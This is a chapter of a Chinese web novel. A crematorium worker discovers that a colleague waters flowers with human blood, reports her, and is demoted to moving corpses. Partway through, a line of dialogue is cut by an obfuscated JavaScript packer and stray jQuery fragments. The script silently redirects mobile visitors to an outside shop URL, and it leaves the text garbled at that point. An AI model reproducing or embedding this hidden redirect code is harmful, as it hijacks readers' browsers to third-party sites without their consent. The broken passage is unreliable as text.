天冷了,又是周五,毛晓丽穿着孝白来了,尤其在这个季节,太扎眼了。我看着就是难受,到是和火葬场挺搭的。
每天听着嚎哭声,再看着孝白,真是掉到丧坑里去了。
场长进来了,看我一眼,叫我出去了。
我跟着场长出了火葬场,顺着这条道儿走。
“明哲,来这儿就安心点,毛晓丽是有点古怪,但是我想不至于做出过格的事情来,那事你也别多想,就当没看到……”
我一听场长的意思,觉得也没有意思了,再说也没劲了,不过我有了一个想法。
天黑后,我进了火葬场,郑大爷冲我笑了一下,把门打开,依然不多说话,我过去的时候,闻到了他身上的酒味。
我打开门,进了办公室,看花儿散发出的香味都有血腥味。
我从包里拿出工具,就把毛晓丽的柜子从后面打开,找到瓶子,倒出一小瓶来,我弄好后,准备走的时候,手机响了,吓得我大叫一声,我勒个去,那个祖宗这个时候来电话,吓吓死我了。
“师傅,什么事?”
我跟做贼一样,小声说。
“你做贼呢?”
“可不是。”
“出来,我想你了。”
我愣住了,出去?什么意思?
我出去,门口一辆新车,我就小心了,什么人的?
郑大爷把门锁上,看都不看的就回屋了。
我站在黑处想看看,车门开了,竟然是师傅,她把新车提回来了。
我过去上车。
“车不错呀?”
“别废话,你跑这儿来干什么?”
“你跟踪我?”
“嗯,对呀!”
“我不太满意。”
银燕上来就抽我一下,我躲开了。
车开出去,找一个地方吃饭。
“你去干什么了?”
“我偷了一小瓶毛晓丽浇花的水,找朋友化验一下,看看是不是人血。”
“你闲着了吧?人家的事你管得着吗?就是人家吃人肉,跟你也没有关系。”
菜上来,里面有肉,我差点没吐了,银燕就笑了。
“你想像力太丰富,这不太好。”
“师傅,你的意思?”
“那就化验。”
银燕和我喝酒,一直到半夜。
周六,我休息,银燕也休息。
“今天去你妈那儿,说婚事。”
“先去医院。”
银燕化妆,我坐在一边看新闻。
我琢磨着,如果是人血怎么办?我打了一个冷战。
“你想什么呢?”
银燕
从镜子里看到了我。
“没有。”
我们去医院,银燕找熟人,给化验了,半个小时后结果出来了。
“血里对了一种营养液。”
“什么血?”
“人血。”
我腿一哆嗦,真的是人血,这不是我所期待的。银燕看了钱眼,拿着化验单出来。
“这回你高兴了吧?”
“我说你怎么说话总是阴阳怪气的?”
“跟你没关系的事情,你往身上扯。”
我不说话了,是没在关系,可是我天天看着,也难受。
我们去姥姥家,母亲给姥姥弄饭。
“阿姨,我和明哲的婚事,您有什么意见?”
银燕太直接了,我母亲愣了半天说。
“没有意见,挺好的,挺好的。”
我母亲的脸我可以看出来,她不同意。
吃过饭,我们要走,母亲说。
“小哲,你等会,我和你说两句话。”
银燕出去了。
“小哲,银燕姑娘是不错,可是她也是炼化者,将来你们有孩子,那孩子就会感觉到,像地狱一样的生活……”
母亲以自己的思维想着我的未来,我并不赞同。
“妈,这事如果你不是特别的反对,我想……”
“那好吧!我不拦你。”
母亲失望到了极点,脸都有些扭曲了,这在我心上就像扎了一刀一样,我又动摇了。
我出来,上车,点上了烟。
“没事,慢慢的会好的。”
银燕猜到了,母亲会说些什么。
银燕开车去她家,给我做饭,炒菜。
“其实,你也不用心理有什么负担,我们的婚事我们来做主,我知道,你爱你的母亲,你的母亲是你……”
我摆了一下手,银燕没有说什么。
结婚也得到明年的五一,这事先放一下,这个结解不开,是心烦的事情。
天气冷起来了,我开着银燕给我的车去上班,我进去,毛晓丽已经来了,她看都没有看到,在浇花,用那个瓶子,显然是没有看出来。
我坐了一会儿,就去场长办公室,我犹豫着,要不要把化验的结果给场长,她用血浇花儿,那血从什么地方来的?我想不出来。
我进了场长的办公室,他看了我一眼,没说话,接着看资料。
我还在犹豫着,这事场长说得明白,不想管,可是我一个劲儿的这样,是不是不好呢?
我没说
什么,离开了,场长也明白我的心思,没多问。
“那茶不错吧?
”
我推开门的时候,场长问。
“非常的好,谢谢您。”
“没了再来拿。”
我出去了,站在外面长长的出了口气,那个办公室让我回去,真是很难了。
我回去坐下,点上烟。
“小柯同意,你抽烟要照顾一下别人的感受。”
“对,毛同志,你也要照顾一下我的感觉,你用人血浇花,那味我受不了。”
毛晓丽愣在那儿,瞪着眼睛吓人。
“你怎么知道的?”
我不说话,毛晓丽就把门反锁上了,我一哆嗦。
“这事谁都知道,魂花就得用人血养着,只是我嘴欠,说出来了。”
“小柯,我怎么做跟你没有关系,如果你不爱在这儿呆着,就滚蛋,我能弄走你,信不?”
毛晓丽发彪了,我并不害怕,我想,把我弄走更好。
“看毛同志的力度了,我早就在这儿呆烦了,跟一个不正常的人呆在一起,能发疯。”
毛晓丽开门出去,把门差点没摔掉了,我激灵一下。
场长来了,把我叫出去。
“我告诉你不要招惹她,现在好了,你搬东西,到我办公室,和我面对面的办公。”
“我回炼化间。”
“毛晓丽有病,你也有病。”
场长气得要发疯了。
我师傅来了,我坐在场长办公室的沙发上抽烟。
“银师傅,你管管你的徒弟,要惹大事,那个毛晓丽从来场子,谁敢招惹过?你徒弟不知道天高地厚的,给我惹出麻烦来。”
“场长,好用人血浇花,那血是从什么地方来的?这是不只是道德的问题了,是违法,如果你这样包庇,你也犯罪……”
“闭嘴。”
我师傅火了,她想抽我,我看得出来。
“场长,我教育他,这事您别管了。”
“看来我不管都不成了,我违法了,不想进监狱。”
场长拿起电话就打了110,我知道事情惹大了,银燕把我扯出去,出了火葬场,找一个没人的地方,看着我说。
“柯明哲,我告诉过你多少回?在这个地方,你就别有好奇心,老实呆着,事不找上你,你就别找事,你是不是不想活了?那诡异的毛晓丽谁敢招惹?谁不给三分面子,连场长都给三分面子。”
“银燕,我告诉你,我是一个正直的人,我没有你那么虚伪。”
我的话把银燕惹火了,她伸手就打我,我一下躲开了。
“银燕,我
告诉你,你就是师傅,也没有打徒弟的。”
银燕不说话,上来一脚,踢到了我小腿骨上,我大叫一声,蹲下了,银燕转身走了。
警察来了,不只是警察,文化局的领导也来了,这事可是大事了。
毛晓丽那瓶血被翻出来,她被带走了,局里领导十分的火,把场长骂了一顿。
银燕那天没理我,我也没料到,把事情搞这么大,我还是太年轻了。
我再上班,刚进办公室,场长进来了,毛晓丽竟然出进来了,瞪了我一眼,坐下了。
“柯明哲,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14292742|152121||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你回炼化间去工作。”
我愣在那儿,毛晓丽说。
“小柯,你还太年轻。”
我没有想到,毛晓丽竟然没有事情。
我收拾东西,去了炼化间,我找到室长。
“小柯,去运尸体,从停尸间,运到地传送台。”
“场长说让我回炼化间?”
“对呀,那儿也归炼化间管,你上一个班,休一个班儿,因为只有两个人。”
我傻bi了,这明显的就是整我,我师傅坐在九号台,根本就不看我,去你大爷的,招惹上毛晓丽,果然就没有好下场。
室长带我进了一个办公室。
“这是你和沈师傅的,沈师傅到火葬场就一直运尸体,二十多的年了,他喜欢这儿的工作,没有变动过,我想,如果你要是喜欢,也可以,今天沈师傅会带你一天的,明天你就独立操作。”
我坐下,把东西放到桌子上,两张办公室,看来一切昨天就安排好了。
沈师傅进来。
“小柯,跟我来。”
我知道,这些人都说沈师傅是好人,求他什么事,只要能办到的,他从来没有拒绝过。
“沈师傅好。”
“好,今天我教你,明天你就独立操作,我本想多带你几天,可是……”
他话没有说下去,肯定是有人想整我。
我跟着沈师傅进了停尸间,现代化的停尸间,电子冷冻柜子,一层五个,一共是四排,我知道,那边还有单间,这死人跟活人一样,有的要住好一点的,所以有着不同的要求。
“亮着灯的,上面有送进来的时间,名字,就是有尸体的,没亮的,是没有的,上圈的,就是今天需要火化的,并排着号,圈后面有号,不要弄错了。”
我看着,这并不复杂,沈师傅把尸体拉出来,拉到推车上,尸体在架子上,直接可以挂到
推车上。
我想,也
没有什么难的,但是我很细心的看,如果没有那么难,沈师傅也不会说要带我几天。
沈师傅没有让我动手,就是让我看,我跟着跑来跑去的,十三个死者,送到传送台,一切都很顺利,回办公室换衣服,沈师傅拍了拍我的肩膀说。
“祝你好运。”
我挺奇怪,这有什么事情吗?我师傅说过,死人是最不可怕的。
我下班出来,张小雪就跟出来,我上车,张小雪拉开车门上车。
“奶奶晚上让你过去。”
然后跳车就跑了,上了自己的车,开着走了。
我犹豫着,开车出去,回家,坐在冰冷的家里,就是感觉到不舒服。
天黑后,我就开车去了周师傅家,张小雪在,菜都摆到桌子上了,张小雪笑眯眯的,心情挺好,大概也听说一些事情了。
“明哲,就毛晓丽的事,你真的不应该那么做,不过已经发生了,这事就算了,她用的是血浇的花,可是用的是自己的血,她定时给自己放血,就是这样。”
我哆嗦了一下,定时给自己放血?不是其它人的血?我可听说过,医院有的人用血养花,看来我真是多余的事情了,得罪了毛晓丽,不知道会得罪多少人,别看她平时不跟谁接触,可是毕竟来场子里二十多年了,有着怎么样的交结,谁知道呢?
“明哲,除了这事,就是跟骨的事情,已经办完了,以后这样的事情千万要注意,还有就是,你运尸体,如果有什么诡异的事情,你不要乱来,尤其是有人叫你名字的时候,你不要回答,就装着没听见。”
我汗都下来了,本想问问跟骨的事情,现在也没有不想问了。
“周师傅,这运尸体还有麻烦吗?”
“在柜子里的到是好说,接直挂车,可是单间里的,你需要抱出来。”
“我在把尸体放上传送台的时候也抱过,没有事情。”
“那不一样,而且传送台可是不抱,直接挂上,全是机械的。”
我愣住了,可是他们让我抱了,师傅也让我抱了,我愣住了,银燕到底要干什么呢?
我没有多问,也没有再说什么,我感觉到麻烦缠身了。
那天我送张小雪回家的,我回家,坐下看电视,虽然很晚了,但是我睡不着,又如同第一天去火葬场一样的感觉,害怕,紧张,好奇,反正五味陈杂。